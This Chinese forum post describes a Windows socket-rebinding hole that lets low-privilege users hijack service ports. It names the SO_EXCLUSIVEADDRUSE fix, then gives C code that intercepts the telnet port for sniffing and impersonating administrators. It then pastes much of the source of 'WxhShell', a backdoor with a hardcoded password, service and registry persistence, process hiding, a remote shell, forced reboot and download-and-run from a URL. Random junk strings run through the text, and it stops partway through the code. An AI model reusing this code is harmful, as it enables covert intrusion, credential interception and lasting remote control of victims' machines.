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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kzK9 .  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0uM&F[.x@g  
Vh=U/{Rp1  
  saddr.sin_family = AF_INET; b?,%M^9\`  
Ja&S_'P[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '`<Fys&:  
Z;1r=p#s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pJ1\@G  
EBL-+%J8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Qa:[iF  
#U w X~  
  这意味着什么?意味着可以进行如下的攻击: E8nj_ ^Z  
0!0o[3*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o+XQMg  
m`$Q/SyvG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  R:Ih#2R  
?tqJkL#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~UeTV?)  
.:Sk=r4u\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5#X R1#`  
S!gzmkGcj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,=G]tnsv^  
~9#x=nU:+V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yw7(!1j=  
Dyo^O=0c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U~?mW,iRL  
0&Ftx%6%  
  #include Os9 EMU$  
  #include KDGrX[L:6  
  #include ?mK&Slh.  
  #include    [dFcxzM-N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;;Z'd@  
  int main() Rmn{Vui9\  
  { I 2OQ  
  WORD wVersionRequested;  |xg#Q`O  
  DWORD ret; ?Y8hy|`  
  WSADATA wsaData; ;Sg.E 8  
  BOOL val; OX]P;#4tU  
  SOCKADDR_IN saddr; 9c,/490Q  
  SOCKADDR_IN scaddr; &?1^/]'"r  
  int err; olxxs(  
  SOCKET s; ln8NcAEx  
  SOCKET sc; P*|=Z>%[0  
  int caddsize; 5=#d#dDc  
  HANDLE mt; emrA!<w!W  
  DWORD tid;   p-EU"O  
  wVersionRequested = MAKEWORD( 2, 2 ); VMJaL}J]  
  err = WSAStartup( wVersionRequested, &wsaData ); k%O3\q  
  if ( err != 0 ) { ]' Ho)Q  
  printf("error!WSAStartup failed!\n"); OUGkam0UK  
  return -1; h. ftl2>  
  } }KIS_krs  
  saddr.sin_family = AF_INET; ,tyPZR_  
   C%]qK(9vvd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #s\kF *  
aTeW#:m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @0t[7Nv-1  
  saddr.sin_port = htons(23); X?< L<:.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "cBqZzkk9j  
  { @b^$h:H  
  printf("error!socket failed!\n"); 4L{]!dox  
  return -1; HOPy&Fp  
  } x@bqPZ t  
  val = TRUE; r[;d.3jtP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X;)/<:mX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ceCO*m~  
  { qS!N\p~>  
  printf("error!setsockopt failed!\n"); zG9D Ph  
  return -1; =VZ_';b h  
  } e?+-~]0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !P^Mo> "  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @sg.0GR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +5Dc5Bl  
Y0EX{oxt1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <1>6!`b4  
  { 9"gu>  
  ret=GetLastError(); m0v .[61  
  printf("error!bind failed!\n"); Z~-N'Lt{  
  return -1; Y(kf<Wo  
  } \**j \m   
  listen(s,2); !yrh50tD  
  while(1) A]i!131{w|  
  { u SQ#Y^V_  
  caddsize = sizeof(scaddr); S`FIb'J  
  //接受连接请求 v;;3 K*c>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %3#C0%{x  
  if(sc!=INVALID_SOCKET) "Z,T%]  
  { l,l6j";ohd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _<sN54  
  if(mt==NULL) h\3-8m  
  { s>L.V2!$0  
  printf("Thread Creat Failed!\n"); eXK3W2XF  
  break; .f-=gZ* *  
  } il !B={  
  } N_iy4W(NU  
  CloseHandle(mt); 5<v1v&  
  } {GnZ@Q:F  
  closesocket(s); M")/6PH8  
  WSACleanup(); 2/s42 FoG  
  return 0; Jkbeh.  
  }   (g X8iKl  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7[qL~BT+  
  { \6?a  
  SOCKET ss = (SOCKET)lpParam; Tjrb.+cua  
  SOCKET sc; G&1bhi52  
  unsigned char buf[4096]; "uIaKb  
  SOCKADDR_IN saddr; Y.Z:H!P);$  
  long num; u?dPCgs;h  
  DWORD val; U 887@-!3  
  DWORD ret; 'xkl|P>=],  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3Z*o5@RI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {CBb^BP  
  saddr.sin_family = AF_INET; =dKjTBR S'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); { ,c*OR  
  saddr.sin_port = htons(23); kVKAG\F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *DfOm`m  
  { dr=Q9%  
  printf("error!socket failed!\n"); Rb:<?&7ZzN  
  return -1; 76<mP*5  
  } y||RK` H  
  val = 100; T~Bj],k_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u4SL:IH{D  
  { EUcD[Rv  
  ret = GetLastError(); {b4`\ I@<  
  return -1; wDW%v@  
  } ml1%C%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |M5#jVXj  
  { !R\FCAW[x  
  ret = GetLastError(); lbIPtu  
  return -1; 2 Kjd!~Z$  
  } 7G-?^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `{Q'iydU  
  { bK~Toz< k  
  printf("error!socket connect failed!\n"); O=}Rp 1  
  closesocket(sc); 1a{r1([)  
  closesocket(ss); GVnDN~[  
  return -1; 3lpxh_  
  } 0`c{9gY.  
  while(1) x@rQ7K>  
  { , %z HykP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D0p*Sg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wv{ Qx^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C2v_] ,]  
  num = recv(ss,buf,4096,0); a0sz$u  
  if(num>0) !aF~5P7%  
  send(sc,buf,num,0); TK\3mrEI  
  else if(num==0) ' :B;!3a0d  
  break; -~ ~h1  
  num = recv(sc,buf,4096,0); Zc1x"j  
  if(num>0) si6CWsb_f  
  send(ss,buf,num,0); F.$z7ee@  
  else if(num==0) }p2iF2g9`  
  break; mWaij]1>  
  } )< G(C,!,.  
  closesocket(ss); ?=&S?p)-<  
  closesocket(sc); XxmWj-=qO  
  return 0 ; 4{zy)GE|W  
  } |3,WiK='  
j;coPehB  
..u{v}4&  
========================================================== ( uD^_N]3  
f2IH2^)P  
下边附上一个代码,,WXhSHELL #vV]nI<MF.  
UcQ]n0J=Z  
========================================================== ~>=.^  
= N*Jis  
#include "stdafx.h" * CR#D}F  
l|gi2~ %Y  
#include <stdio.h> e c]kt'  
#include <string.h> ;i6~iLY  
#include <windows.h> \M\7k5$  
#include <winsock2.h> [C6ba{9 B  
#include <winsvc.h> n Ab~  
#include <urlmon.h> C&w0HoF  
&F~d~;G"q  
#pragma comment (lib, "Ws2_32.lib") k"i3$^v8  
#pragma comment (lib, "urlmon.lib") \vT~2Y(K  
8Zsaq1S  
#define MAX_USER   100 // 最大客户端连接数 <5z!0m-G  
#define BUF_SOCK   200 // sock buffer CipDeqau2  
#define KEY_BUFF   255 // 输入 buffer \~,\|  
*%KIq/V  
#define REBOOT     0   // 重启 \Yr*x7!  
#define SHUTDOWN   1   // 关机 d%'#-w'  
|@JTSz*Or  
#define DEF_PORT   5000 // 监听端口 x0Loid\f  
zG ='U  
#define REG_LEN     16   // 注册表键长度 vNs%e/~vj  
#define SVC_LEN     80   // NT服务名长度 <<MpeMi  
gp`@dn';  
// 从dll定义API ;(`bP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m1%rm-M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ekyCZ8iai  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 08nh y[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c 1F^Gj!8  
K& ^qn&  
// wxhshell配置信息 lUEbxN  
struct WSCFG { Nz`8)Le  
  int ws_port;         // 监听端口 +-|""`I1I  
  char ws_passstr[REG_LEN]; // 口令 ,#ZPg_x?1  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0@ "'SKq  
  char ws_regname[REG_LEN]; // 注册表键名 'xqyG XI  
  char ws_svcname[REG_LEN]; // 服务名 ?Cf'IBpN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3/n?g7B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?Xypn#OPt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y`ip. Nx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bzwll  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /C!~v!;e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kb2C 9<  
6P _+:Mf  
}; F-|DZ?)k5  
u9S*2'  
// default Wxhshell configuration 7w) 8s  
struct WSCFG wscfg={DEF_PORT, jD S\  
    "xuhuanlingzhe", 2T2<I/")O  
    1, G^)]FwTs  
    "Wxhshell", (v/L   
    "Wxhshell", ,Lp"Ia  
            "WxhShell Service", }VJ>}i*  
    "Wrsky Windows CmdShell Service", 5 [~HL_u;,  
    "Please Input Your Password: ", (]'wQ4iQ  
  1, tB>!1}v  
  "http://www.wrsky.com/wxhshell.exe", 49*f=gpGj2  
  "Wxhshell.exe" JE9v+a{7  
    }; ZNw|5u^N  
t^":.}[Q  
// 消息定义模块 D|ze0A@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o!UB x<4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ! I?C8)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2: gh q  
char *msg_ws_ext="\n\rExit."; -"nkC  
char *msg_ws_end="\n\rQuit."; IwnDG;+Ap  
char *msg_ws_boot="\n\rReboot..."; c.]QIIdK  
char *msg_ws_poff="\n\rShutdown..."; 0<`qz |_h  
char *msg_ws_down="\n\rSave to "; G^d3$7  
H I|a88   
char *msg_ws_err="\n\rErr!"; a8T9=KY^  
char *msg_ws_ok="\n\rOK!"; cOP'ql{"  
@3c'4O   
char ExeFile[MAX_PATH]; 5CK\Z'c~!  
int nUser = 0; Zt9G[[]  
HANDLE handles[MAX_USER]; D*-  
int OsIsNt; yP$esDP  
3'.3RKV  
SERVICE_STATUS       serviceStatus; R&W%E%uj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bDWL Hdu a  
G]aey>)  
// 函数声明 @~hy'6/  
int Install(void); 9]=J+ (M  
int Uninstall(void); Ql5bjlQdO  
int DownloadFile(char *sURL, SOCKET wsh); o i'iZX  
int Boot(int flag); ),N,!15j,  
void HideProc(void); ~fkcal1@  
int GetOsVer(void); q#AEu xI1  
int Wxhshell(SOCKET wsl); M(+Pd_c6  
void TalkWithClient(void *cs); 4Px|:7~wT8  
int CmdShell(SOCKET sock); a+LK~mC*  
int StartFromService(void); =a,qRO  
int StartWxhshell(LPSTR lpCmdLine); x]wi&  
`e'wW V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yGtTD9j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H1U$ApD  
K]$PRg1| 3  
// 数据结构和表定义 ^O7sQ7V"f=  
SERVICE_TABLE_ENTRY DispatchTable[] = j$Ndq(<tG  
{ s*g qKQ;  
{wscfg.ws_svcname, NTServiceMain}, HQ"T>xb  
{NULL, NULL} h!SsIy(  
}; u $-&Im<  
2EM6k|l5  
// 自我安装 bI0xI[#Q  
int Install(void) } F{s\qUt  
{ "|(.W3f1  
  char svExeFile[MAX_PATH]; m@kLZimD  
  HKEY key; "W+>?u)  
  strcpy(svExeFile,ExeFile); >C_G~R  
3mU~G}ig  
// 如果是win9x系统,修改注册表设为自启动 O1o>eDE5A  
if(!OsIsNt) { Zm*d)</>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CJN~p]\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nxt:U{`T'  
  RegCloseKey(key); _}p [(sTV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >+7{PF+sB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k#pO+[ x  
  RegCloseKey(key); vai w*?jV  
  return 0; 5T.U=_ag  
    } xDw~n(*  
  } m BvO<?ec  
} (mP{A(kwJ  
else { |1CX?8)b=  
n yPeN?-  
// 如果是NT以上系统,安装为系统服务 rVP\F{Q4Tr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0e0)1;t\  
if (schSCManager!=0) H'#06zP>5  
{ AcuZ? LYzK  
  SC_HANDLE schService = CreateService ,(q] $eOZ  
  ( E'4Psx9: =  
  schSCManager, 4#>Z.sf  
  wscfg.ws_svcname, ?u:`?(\  
  wscfg.ws_svcdisp, L~/,;PHN  
  SERVICE_ALL_ACCESS, >(P(!^[f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lv/im/]v  
  SERVICE_AUTO_START, l9uocP:D  
  SERVICE_ERROR_NORMAL, j17h_ a;  
  svExeFile, `Ns@W?  
  NULL, =cV|o]  
  NULL, Z4Q]By:/L  
  NULL, O'(Us!aq  
  NULL, u3qx G3  
  NULL ?`e@ o?  
  ); GFLat  
  if (schService!=0) a6 vej  
  { _ab8z]H   
  CloseServiceHandle(schService); !0lk}Uzkh  
  CloseServiceHandle(schSCManager); N4,oO H~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C[%Qg=<  
  strcat(svExeFile,wscfg.ws_svcname); 55s5(]`d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P]n0L4c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !y XGAg,  
  RegCloseKey(key); 5QK%BiDlr  
  return 0; J/P[9m30[  
    } "|I.j)  
  } $=diG  
  CloseServiceHandle(schSCManager); hO[_ _j8  
} |oU I2<"  
} kiJ=C2'&  
&!4E3&+2m  
return 1; @.E9 ml  
} swZi O_85  
^k7I+A  
// 自我卸载 @4UX~=:686  
int Uninstall(void) A^FkU  
{ hNh!H<}|m8  
  HKEY key; D+:s{IcL<  
KF#^MEw%  
if(!OsIsNt) { VK*_p EV,}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @P~%4:!Hr  
  RegDeleteValue(key,wscfg.ws_regname); ?&9=f\/P  
  RegCloseKey(key); *K_8=TIA*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0IqGy}+VU  
  RegDeleteValue(key,wscfg.ws_regname); d6*84'|!  
  RegCloseKey(key); >6yQuB  
  return 0; ^G`6Zg;  
  } V-#JV@b  
} >vo 6X]p~  
} -){6ynqv  
else { ,gZp/yJ;  
'gor*-o:wu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Kd 1=mC  
if (schSCManager!=0) 3'x>$5 W  
{ u-&V, *3l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kkovp^G  
  if (schService!=0) aHu0z:  
  { A z@@0  
  if(DeleteService(schService)!=0) { -h7ssf'u[  
  CloseServiceHandle(schService); w;}5B~).  
  CloseServiceHandle(schSCManager); Nb:j]U  
  return 0; {1Cnrjw  
  } 75p9_)>96  
  CloseServiceHandle(schService); _!zc <&~I  
  } +`wr{kB$~  
  CloseServiceHandle(schSCManager); UfPB-EFl$D  
} 7/a7p(   
} >b"@{MZ@t  
,N:^4A  
return 1; ,w6?Ap  
} X@[5nyILf  
iCpm^XT  
// 从指定url下载文件 X7OU=+g  
int DownloadFile(char *sURL, SOCKET wsh) y _apT<P  
{ r=3`Eb"t  
  HRESULT hr; iJhieNn  
char seps[]= "/"; e eN`T&cI  
char *token; N KgEs   
char *file; kM4z %  
char myURL[MAX_PATH]; Tv7W)?3h  
char myFILE[MAX_PATH]; K_Y{50#  
2~hdJ/  
strcpy(myURL,sURL); wN'S+4  
  token=strtok(myURL,seps); n:4 0T1: q  
  while(token!=NULL) ,=CipL9]  
  { \?v&JmEU  
    file=token; >WZ%Pv *  
  token=strtok(NULL,seps); b+:mV7eX  
  } Txo{6nd/  
ZiY2N*,VO  
GetCurrentDirectory(MAX_PATH,myFILE); 7Z:3xb&>   
strcat(myFILE, "\\"); 9\?&u_ U"  
strcat(myFILE, file); EsWB|V>  
  send(wsh,myFILE,strlen(myFILE),0); @F(er  
send(wsh,"...",3,0); :tO?+1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6!0NFP~b  
  if(hr==S_OK) _YR#J%xa  
return 0; eD7\,}O  
else KL?<lp"  
return 1; |0F o{  
8*&-u +@%  
} B/3~[ '  
}N -UlL(  
// 系统电源模块 h(nE)j  
int Boot(int flag) s[{8:Px  
{ Ay6T*Nu`  
  HANDLE hToken; 9nQyPb6  
  TOKEN_PRIVILEGES tkp; ApSseBhh  
P\WHM(  
  if(OsIsNt) { b/\O;o}]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); An(gHi;1$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v,ecNuy*d  
    tkp.PrivilegeCount = 1; @>U9CL"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wH@< 0lw`<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OO/>}? ob  
if(flag==REBOOT) { zx "EAF{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bi fI.2|  
  return 0; D_<B^3w )  
} m8L %!6o  
else { \4$Nx/@Q}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?~.9: 93  
  return 0; E l.eK9L  
} dk]  
  } (:~_#BA  
  else { pvt/{  
if(flag==REBOOT) { #q34>}O< O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6 T~+vT  
  return 0; Kg2@]J9m  
} Vt zSM%=  
else { _d~GY,WTdO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mhIGunK;+  
  return 0; ;w%g*S  
} q{*[uJ}Xc"  
} <F_w4!  
r{yIF~k@  
return 1; "o;%em*Bc  
} ,agkV)H  
Jt8M;Yk  
// win9x进程隐藏模块 P >0S ZP  
void HideProc(void) Brg0:5H   
{ ]lJ#|zd8o  
>oy%qLHe~t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )rA\+XT7  
  if ( hKernel != NULL ) =#TQXm']Gi  
  { Jnt r"a-4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tMf5TiWu@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K'e!BZm6Q  
    FreeLibrary(hKernel); "[A&S!  
  } [uie]*^  
j }^?Snq  
return; /mE:2K]C  
} c?xeBC1-  
vA*NJ%&`  
// 获取操作系统版本 ZQz;EV!  
int GetOsVer(void) {XhpxJ__  
{ )}w-;HX  
  OSVERSIONINFO winfo; 2s 9U&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'uUa|J1mu  
  GetVersionEx(&winfo); Jz;`L3m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z SsogAx  
  return 1; *qMjoP,  
  else k3OnvnJb  
  return 0; >>J!|  
} OB,T>o@  
AsZyPybq  
// 客户端句柄模块 ?aG~E  
int Wxhshell(SOCKET wsl) &@7|_60  
{ K1<l/ s  
  SOCKET wsh; N/^[c+J  
  struct sockaddr_in client; l%2B4d9"v  
  DWORD myID; v Ma$JPauI  
71&`6#  
  while(nUser<MAX_USER) kgmb<4p  
{ =g@hh)3wP  
  int nSize=sizeof(client); q|D*H9[ke  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mW_A 3S5  
  if(wsh==INVALID_SOCKET) return 1; Q%GLT,f1.  
E\}Q9, Z$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kr1^`>O5  
if(handles[nUser]==0) d7c m?+  
  closesocket(wsh); Z[j-.,Qu  
else )>=|oY3  
  nUser++; )^^}!U#|e  
  } ~>$(5 s2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 10/3-)+  
!q PUQ+  
  return 0; J _|>rfW  
} wVs|mG"  
 -gS/  
// 关闭 socket ]}0+7Q  
void CloseIt(SOCKET wsh) / dn]`Ge)  
{ p@znmn-  
closesocket(wsh); C$B?|oUJc  
nUser--; ;#"`]khd  
ExitThread(0); Xg"Mjmr  
} LyXABQ]  
1hp@.Fv  
// 客户端请求句柄 @1[LD[<  
void TalkWithClient(void *cs) 9=~jKl%\vJ  
{ )=D9L  
Ipmr@%~  
  SOCKET wsh=(SOCKET)cs; ==j3 9  
  char pwd[SVC_LEN]; UuA=qWC  
  char cmd[KEY_BUFF]; f.r-,%^6{  
char chr[1]; ?Z7C0u#wd  
int i,j; 8c$IsvJg  
& l|B>{4v  
  while (nUser < MAX_USER) { r>q`# ~  
8i"{GGVC  
if(wscfg.ws_passstr) { {gi"ktgk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Kebl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); veE8 N~0N.  
  //ZeroMemory(pwd,KEY_BUFF); 7,LT4wYH  
      i=0; }#u}{  
  while(i<SVC_LEN) { @49^WY  
)'<zC  
  // 设置超时 _H3cqD  
  fd_set FdRead; N4 mQN90t  
  struct timeval TimeOut; aH$*Ue@Q  
  FD_ZERO(&FdRead); DwTZ<H4  
  FD_SET(wsh,&FdRead); p-/x Md  
  TimeOut.tv_sec=8; pV-.r-P  
  TimeOut.tv_usec=0; q C|re!K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aA yFu_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ->#7_W  
@o^sp|k !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vgm{=$  
  pwd=chr[0]; p0YTZS ]h  
  if(chr[0]==0xd || chr[0]==0xa) { I~T?tm  
  pwd=0; bFx?HM.AGW  
  break; q{JD]A:  
  } ZyWC_r!  
  i++; O 1X !  
    } ZmHl~MR@  
|$0/:*  
  // 如果是非法用户,关闭 socket SI(8.$1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )*JTxMQ  
} ;~q)^.K3  
?x/ L"h&Kp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]ogy`O>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JT-Zo OZ  
Cw2+@7?|  
while(1) { n*xNMw1x"T  
bU,& |K/  
  ZeroMemory(cmd,KEY_BUFF); BPOWo8TqD^  
&]c9}Ic  
      // 自动支持客户端 telnet标准   dCyQCA[  
  j=0; *:_hOOT+[  
  while(j<KEY_BUFF) { f3h9CV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nb!m>0*/  
  cmd[j]=chr[0]; Tuy*Df  
  if(chr[0]==0xa || chr[0]==0xd) { 5astv:p,P  
  cmd[j]=0;  MU^Z*r  
  break; <z4!m/f [(  
  } DpR%s",Q  
  j++; Q& \k"X1  
    } /kq~*s  
}R'oAE}$  
  // 下载文件 yI;Qb7|^  
  if(strstr(cmd,"http://")) { )G|U B8]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mt:(w;Y  
  if(DownloadFile(cmd,wsh)) OWkK]O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {gn[ &\  
  else jHZ<G c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E0PBdiD6hs  
  } 33C#iR1(WJ  
  else { lqs_7HhvRS  
/4 f;Niem  
    switch(cmd[0]) { 8| /YxF<  
  (^4%Fk&I-  
  // 帮助 7> QtO  
  case '?': { 32Z4&~ I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dA~6{*)  
    break; W2k~N X#@  
  } YD%Kd&es  
  // 安装 +Lr0i_al  
  case 'i': { `F@yZ4L3S  
    if(Install()) M/qiA.C@W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N@>S>U8C  
    else NlMx!f>b%/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3^a"$VW1  
    break; L$Q+R'  
    } 1&<@(S<  
  // 卸载 '37b[~k4  
  case 'r': { :[&X*bw[  
    if(Uninstall()) /_|1,x-Kx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?~{xL"  
    else ^b#E%Rd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]=3O,\  
    break; `xr%LsNn  
    } +1%6-g4 "  
  // 显示 wxhshell 所在路径 7$;$4.'  
  case 'p': { G!IQ<FuY  
    char svExeFile[MAX_PATH]; U8mu<)  
    strcpy(svExeFile,"\n\r"); #@fypCc  
      strcat(svExeFile,ExeFile); gr=`_k4~1  
        send(wsh,svExeFile,strlen(svExeFile),0); XTJ>y@  
    break; vX\e* v  
    } GS H{1VS_b  
  // 重启 >A/=eW/q  
  case 'b': { IY&a!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;z>YwRV  
    if(Boot(REBOOT)) on\\;V_/Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >R<fm  
    else { [C6?:'}FA  
    closesocket(wsh); \zUsHK?L"t  
    ExitThread(0); 9vu8koL  
    } '3Ie0QO]"%  
    break; s$_#T  
    } K36B9<F  
  // 关机 g]#Wve  
